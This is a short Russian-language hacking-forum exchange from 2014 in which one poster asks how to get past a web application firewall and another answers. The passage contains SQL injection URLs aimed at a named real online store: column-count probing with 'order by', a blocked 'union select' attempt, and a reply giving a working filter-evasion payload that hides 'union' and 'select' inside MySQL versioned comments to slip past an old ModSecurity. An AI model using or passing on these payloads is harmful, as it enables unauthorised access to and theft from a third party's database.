09.12.2014, 04:49
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Br@!ns
как обойти такую WAF?
Код HTML:
https://www.swallowtailfarms.com/store/?cat_id=43'+order+by+5+--+
Код HTML:
https://www.swallowtailfarms.com/store/?cat_id=43'+union(select(1,2,3,4))+--+
фильтрует комбинацию union+select и concat Старая версия модсесурити. В скрипте два запроса подряд с разным количеством полей, 4 и 7.
Код:
/store/?cat_id=43'/*!50000union*/ /*!50000select*/ 1,2,3,4,5,6,7-- x
|
|
|